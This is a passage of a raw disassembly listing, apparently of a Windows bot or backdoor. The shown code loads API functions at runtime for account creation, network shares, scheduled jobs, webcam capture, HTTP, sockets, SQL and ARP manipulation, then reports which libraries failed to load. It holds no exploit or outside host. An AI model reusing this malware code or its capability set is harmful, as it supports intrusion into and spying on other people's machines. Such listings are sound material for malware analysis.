loc_408CF9:				; CODE XREF: sub_40891C+3A7j
					; sub_40891C+3AFj ...
		mov	dword_43C620, 1


loc_408D03:				; CODE XREF: sub_40891C+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_43C440, eax
		jnz	short loc_408D2B
		jmp	short loc_408D21
; ---------------------------------------------------------------------------


loc_408D16:				; CODE XREF: sub_40891C+26Aj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43C624, eax


loc_408D21:				; CODE XREF: sub_40891C+3F8j
		mov	dword_43C620, 1


loc_408D2B:				; CODE XREF: sub_40891C+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408DF7
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43C540, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43C598, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43C5A0, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43C55C, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43C484, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43C430, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43C59C, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43C41C, eax
		call	esi	; GetProcAddress
		cmp	dword_43C540, ebx
		mov	dword_43C4B8, eax
		jz	short loc_408E02
		cmp	dword_43C598, ebx
		jz	short loc_408E02
		cmp	dword_43C5A0, ebx
		jz	short loc_408E02
		cmp	dword_43C55C, ebx
		jz	short loc_408E02
		cmp	dword_43C484, ebx
		jz	short loc_408E02
		cmp	dword_43C430, ebx
		jz	short loc_408E02
		cmp	dword_43C59C, ebx
		jz	short loc_408E02
		cmp	dword_43C41C, ebx
		jz	short loc_408E02
		cmp	eax, ebx
		jnz	short loc_408E0C
		jmp	short loc_408E02
; ---------------------------------------------------------------------------


loc_408DF7:				; CODE XREF: sub_40891C+41Aj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43C62C, eax


loc_408E02:				; CODE XREF: sub_40891C+49Bj
					; sub_40891C+4A3j ...
		mov	dword_43C628, 1


loc_408E0C:				; CODE XREF: sub_40891C+4D7j
		mov	ebp, dword_4210C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4090C8
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43C4CC, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43C5F8, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43C470, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43C44C, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43C500, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43C4E8, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43C4B4, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43C5D4, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43C5F0, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43C4FC, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43C5E0, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43C594, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_43C554, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43C550, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_43C490, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_43C488, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43C5A4, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43C5B8, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43C56C, eax
		call	esi	; GetProcAddress
		mov	dword_43C52C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_43C580, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43C53C, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43C57C, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43C5E8, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43C534, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43C4F8, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43C568, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43C5D8, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43C50C, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43C4B0, eax
		call	esi	; GetProcAddress
		cmp	dword_43C4CC, ebx
		mov	dword_43C5EC, eax
		jz	loc_4090D3
		cmp	dword_43C5F8, ebx
		jz	loc_4090D3
		cmp	dword_43C470, ebx
		jz	loc_4090D3
		cmp	dword_43C500, ebx
		jz	loc_4090D3
		cmp	dword_43C4E8, ebx
		jz	loc_4090D3
		cmp	dword_43C4B4, ebx
		jz	loc_4090D3
		cmp	dword_43C5D4, ebx
		jz	loc_4090D3
		cmp	dword_43C5F0, ebx
		jz	loc_4090D3
		cmp	dword_43C4FC, ebx
		jz	loc_4090D3
		cmp	dword_43C5E0, ebx
		jz	loc_4090D3
		cmp	dword_43C594, ebx
		jz	loc_4090D3
		cmp	dword_43C554, ebx
		jz	loc_4090D3
		cmp	dword_43C550, ebx
		jz	loc_4090D3
		cmp	dword_43C490, ebx
		jz	short loc_4090D3
		cmp	dword_43C5A4, ebx
		jz	short loc_4090D3
		cmp	dword_43C5B8, ebx
		jz	short loc_4090D3
		cmp	dword_43C56C, ebx
		jz	short loc_4090D3
		cmp	dword_43C52C, ebx
		jz	short loc_4090D3
		cmp	dword_43C580, ebx
		jz	short loc_4090D3
		cmp	dword_43C53C, ebx
		jz	short loc_4090D3
		cmp	dword_43C57C, ebx
		jz	short loc_4090D3
		cmp	dword_43C5E8, ebx
		jz	short loc_4090D3
		cmp	dword_43C534, ebx
		jz	short loc_4090D3
		cmp	dword_43C4F8, ebx
		jz	short loc_4090D3
		cmp	dword_43C568, ebx
		jz	short loc_4090D3
		cmp	dword_43C5D8, ebx
		jz	short loc_4090D3
		cmp	dword_43C50C, ebx
		jz	short loc_4090D3
		cmp	eax, ebx
		jnz	short loc_4090DD
		jmp	short loc_4090D3
; ---------------------------------------------------------------------------


loc_4090C8:				; CODE XREF: sub_40891C+501j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43C634, eax


loc_4090D3:				; CODE XREF: sub_40891C+6A0j
					; sub_40891C+6ACj ...
		mov	dword_43C630, 1


loc_4090DD:				; CODE XREF: sub_40891C+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4091E2
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43C498, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43C424, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43C51C, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43C4D0, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43C528, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43C4EC, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43C464, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43C45C, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43C46C, eax
		call	esi	; GetProcAddress
		cmp	dword_43C498, ebx
		mov	ecx, dword_43C4EC
		mov	dword_43C588, eax
		jz	short loc_4091BE
		cmp	dword_43C424, ebx
		jz	short loc_4091BE
		cmp	dword_43C51C, ebx
		jz	short loc_4091BE
		cmp	dword_43C4D0, ebx
		jz	short loc_4091BE
		cmp	dword_43C528, ebx
		jz	short loc_4091BE
		cmp	ecx, ebx
		jz	short loc_4091BE
		cmp	dword_43C464, ebx
		jz	short loc_4091BE
		cmp	dword_43C45C, ebx
		jz	short loc_4091BE
		cmp	dword_43C46C, ebx
		jz	short loc_4091BE
		cmp	eax, ebx
		jnz	short loc_4091C8


loc_4091BE:				; CODE XREF: sub_40891C+860j
					; sub_40891C+868j ...
		mov	dword_43C638, 1


loc_4091C8:				; CODE XREF: sub_40891C+8A0j
		cmp	ecx, ebx
		jz	short loc_4091FD
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_43C504, eax
		jnz	short loc_4091FD
		jmp	short loc_4091F7
; ---------------------------------------------------------------------------


loc_4091E2:				; CODE XREF: sub_40891C+7CCj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43C63C, eax
		mov	dword_43C638, 1


loc_4091F7:				; CODE XREF: sub_40891C+8C4j
		mov	dword_43C504, ebx


loc_4091FD:				; CODE XREF: sub_40891C+8AEj
					; sub_40891C+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409247
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43C4E0, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43C608, eax
		call	esi	; GetProcAddress
		cmp	dword_43C4E0, ebx
		mov	dword_43C478, eax
		jz	short loc_409252
		cmp	dword_43C608, ebx
		jz	short loc_409252
		cmp	eax, ebx
		jnz	short loc_40925C
		jmp	short loc_409252
; ---------------------------------------------------------------------------


loc_409247:				; CODE XREF: sub_40891C+8ECj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43C644, eax


loc_409252:				; CODE XREF: sub_40891C+91Bj
					; sub_40891C+923j ...
		mov	dword_43C640, 1


loc_40925C:				; CODE XREF: sub_40891C+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409352
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43C454, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43C42C, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43C4A0, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43C4D4, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43C5E4, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43C48C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43C438, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43C428, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43C4BC, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43C5AC, eax
		call	esi	; GetProcAddress
		cmp	dword_43C454, ebx
		mov	dword_43C564, eax
		jz	short loc_40935D
		cmp	dword_43C42C, ebx
		jz	short loc_40935D
		cmp	dword_43C4A0, ebx
		jz	short loc_40935D
		cmp	dword_43C4D4, ebx
		jz	short loc_40935D
		cmp	dword_43C5E4, ebx
		jz	short loc_40935D
		cmp	dword_43C48C, ebx
		jz	short loc_40935D
		cmp	dword_43C438, ebx
		jz	short loc_40935D
		cmp	dword_43C428, ebx
		jz	short loc_40935D
		cmp	dword_43C4BC, ebx
		jz	short loc_40935D
		cmp	dword_43C5AC, ebx
		jz	short loc_40935D
		cmp	eax, ebx
		jnz	short loc_409367
		jmp	short loc_40935D
; ---------------------------------------------------------------------------


loc_409352:				; CODE XREF: sub_40891C+94Bj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43C64C, eax


loc_40935D:				; CODE XREF: sub_40891C+9E6j
					; sub_40891C+9EEj ...
		mov	dword_43C648, 1


loc_409367:				; CODE XREF: sub_40891C+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40939C
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43C47C, eax
		call	esi	; GetProcAddress
		cmp	dword_43C47C, ebx
		mov	dword_43C54C, eax
		jz	short loc_4093A7
		cmp	eax, ebx
		jnz	short loc_4093B1
		jmp	short loc_4093A7
; ---------------------------------------------------------------------------


loc_40939C:				; CODE XREF: sub_40891C+A56j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43C654, eax


loc_4093A7:				; CODE XREF: sub_40891C+A78j
					; sub_40891C+A7Ej
		mov	dword_43C650, 1


loc_4093B1:				; CODE XREF: sub_40891C+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4093E6
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43C5D0, eax
		call	esi	; GetProcAddress
		cmp	dword_43C5D0, ebx
		mov	dword_43C5CC, eax
		jz	short loc_4093F1
		cmp	eax, ebx
		jnz	short loc_4093FB
		jmp	short loc_4093F1
; ---------------------------------------------------------------------------


loc_4093E6:				; CODE XREF: sub_40891C+AA0j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43C65C, eax


loc_4093F1:				; CODE XREF: sub_40891C+AC2j
					; sub_40891C+AC8j
		mov	dword_43C658, 1


loc_4093FB:				; CODE XREF: sub_40891C+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40945A
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43C5FC, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43C5F4, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43C5BC, eax
		call	esi	; GetProcAddress
		cmp	dword_43C5FC, ebx
		mov	dword_43C494, eax
		jz	short loc_409465
		cmp	dword_43C5F4, ebx
		jz	short loc_409465
		cmp	dword_43C5BC, ebx
		jz	short loc_409465
		cmp	eax, ebx
		jnz	short loc_40946F
		jmp	short loc_409465
; ---------------------------------------------------------------------------


loc_40945A:				; CODE XREF: sub_40891C+AEAj
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43C664, eax


loc_409465:				; CODE XREF: sub_40891C+B26j
					; sub_40891C+B2Ej ...
		mov	dword_43C660, 1


loc_40946F:				; CODE XREF: sub_40891C+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4094A4
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43C4C8, eax
		call	esi	; GetProcAddress
		cmp	dword_43C4C8, ebx
		mov	dword_43C5C8, eax
		jz	short loc_4094AF
		cmp	eax, ebx
		jnz	short loc_4094B9
		jmp	short loc_4094AF
; ---------------------------------------------------------------------------


loc_4094A4:				; CODE XREF: sub_40891C+B5Ej
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43C66C, eax


loc_4094AF:				; CODE XREF: sub_40891C+B80j
					; sub_40891C+B86j
		mov	dword_43C668, 1


loc_4094B9:				; CODE XREF: sub_40891C+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409542
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43C590, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43C5DC, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43C518, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43C4D8, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43C570, eax
		call	esi	; GetProcAddress
		cmp	dword_43C590, ebx
		mov	dword_43C4E4, eax
		jz	short loc_40954D
		cmp	dword_43C5DC, ebx
		jz	short loc_40954D
		cmp	dword_43C518, ebx
		jz	short loc_40954D
		cmp	dword_43C4D8, ebx
		jz	short loc_40954D
		cmp	dword_43C570, ebx
		jz	short loc_40954D
		cmp	eax, ebx
		jnz	short loc_409557
		jmp	short loc_40954D
; ---------------------------------------------------------------------------


loc_409542:				; CODE XREF: sub_40891C+BA8j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43C674, eax


loc_40954D:				; CODE XREF: sub_40891C+BFEj
					; sub_40891C+C06j ...
		mov	dword_43C670, 1


loc_409557:				; CODE XREF: sub_40891C+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40958C
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43C4AC, eax
		call	esi	; GetProcAddress
		cmp	dword_43C4AC, ebx
		mov	dword_43C584, eax
		jz	short loc_409597
		cmp	eax, ebx
		jnz	short loc_4095A1
		jmp	short loc_409597
; ---------------------------------------------------------------------------


loc_40958C:				; CODE XREF: sub_40891C+C46j
		call	dword_421088	; RtlGetLastWin32Error
		mov	dword_43C67C, eax


loc_409597:				; CODE XREF: sub_40891C+C68j
					; sub_40891C+C6Ej
		mov	dword_43C678, 1


loc_4095A1:				; CODE XREF: sub_40891C+C6Cj
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_40891C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095A9	proc near		; CODE XREF: sub_40CD3A+51A1p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43C610, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4095F1
		push	dword_43C614
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_4095F1:				; CODE XREF: sub_4095A9+1Aj
		cmp	dword_43C618, esi
		jz	short loc_409625
		push	dword_43C61C
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_409625:				; CODE XREF: sub_4095A9+4Ej
		cmp	dword_43C620, esi
		jz	short loc_409659
		push	dword_43C624
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_409659:				; CODE XREF: sub_4095A9+82j
		cmp	dword_43C628, esi
		jz	short loc_40968D
		push	dword_43C62C
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_40968D:				; CODE XREF: sub_4095A9+B6j
		cmp	dword_43C630, esi
		jz	short loc_4096C1
		push	dword_43C634
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_4096C1:				; CODE XREF: sub_4095A9+EAj
		cmp	dword_43C638, esi
		jz	short loc_4096F5
		push	dword_43C63C
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_4096F5:				; CODE XREF: sub_4095A9+11Ej
		cmp	dword_43C640, esi
		jz	short loc_409729
		push	dword_43C644
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_409729:				; CODE XREF: sub_4095A9+152j
		cmp	dword_43C648, esi
		jz	short loc_40975D
		push	dword_43C64C
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_40975D:				; CODE XREF: sub_4095A9+186j
		cmp	dword_43C650, esi
		jz	short loc_409791
		push	dword_43C654
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_409791:				; CODE XREF: sub_4095A9+1BAj
		cmp	dword_43C658, esi
		jz	short loc_4097C5
		push	dword_43C65C
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_4097C5:				; CODE XREF: sub_4095A9+1EEj
		cmp	dword_43C660, esi
		jz	short loc_4097F9
		push	dword_43C664
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_4097F9:				; CODE XREF: sub_4095A9+222j
		cmp	dword_43C668, esi
		jz	short loc_40982D
		push	dword_43C66C
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_40982D:				; CODE XREF: sub_4095A9+256j
		cmp	dword_43C670, esi
		jz	short loc_409861
		push	dword_43C674
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_409861:				; CODE XREF: sub_4095A9+28Aj
		cmp	dword_43C678, esi
		jz	short loc_409895
		push	dword_43C67C
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 20h


loc_409895:				; CODE XREF: sub_4095A9+2BEj
		lea	eax, [ebp+var_200]
		push	offset dword_429A94
		push	eax
		call	sub_415316
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4098C2
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_4098C2:				; CODE XREF: sub_4095A9+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B078
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4095A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098D4	proc near		; CODE XREF: sub_40CD3A+BEFp
					; sub_40CD3A+C20p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40995F
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40995F
		cmp	[ebp+arg_8], esi
		jz	short loc_40995F
		cmp	byte ptr [eax],	0
		jz	short loc_40995F
		push	ebx
		push	edi
		call	sub_42067A
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40995A
		push	[ebp+arg_4]
		push	edi
		call	sub_4158E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_409953
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_416BE0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_415B10
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_416DB0
		push	[ebp+arg_4]
		call	sub_415B10
		add	eax, esi
		push	eax
		push	ebx
		call	sub_415A30
		push	ebx
		push	edi
		call	sub_415A20
		add	esp, 30h
		mov	esi, edi


loc_409953:				; CODE XREF: sub_4098D4+3Cj
		push	ebx
		call	sub_415C9B
		pop	ecx


loc_40995A:				; CODE XREF: sub_4098D4+2Bj
		mov	eax, esi
		pop	ebx
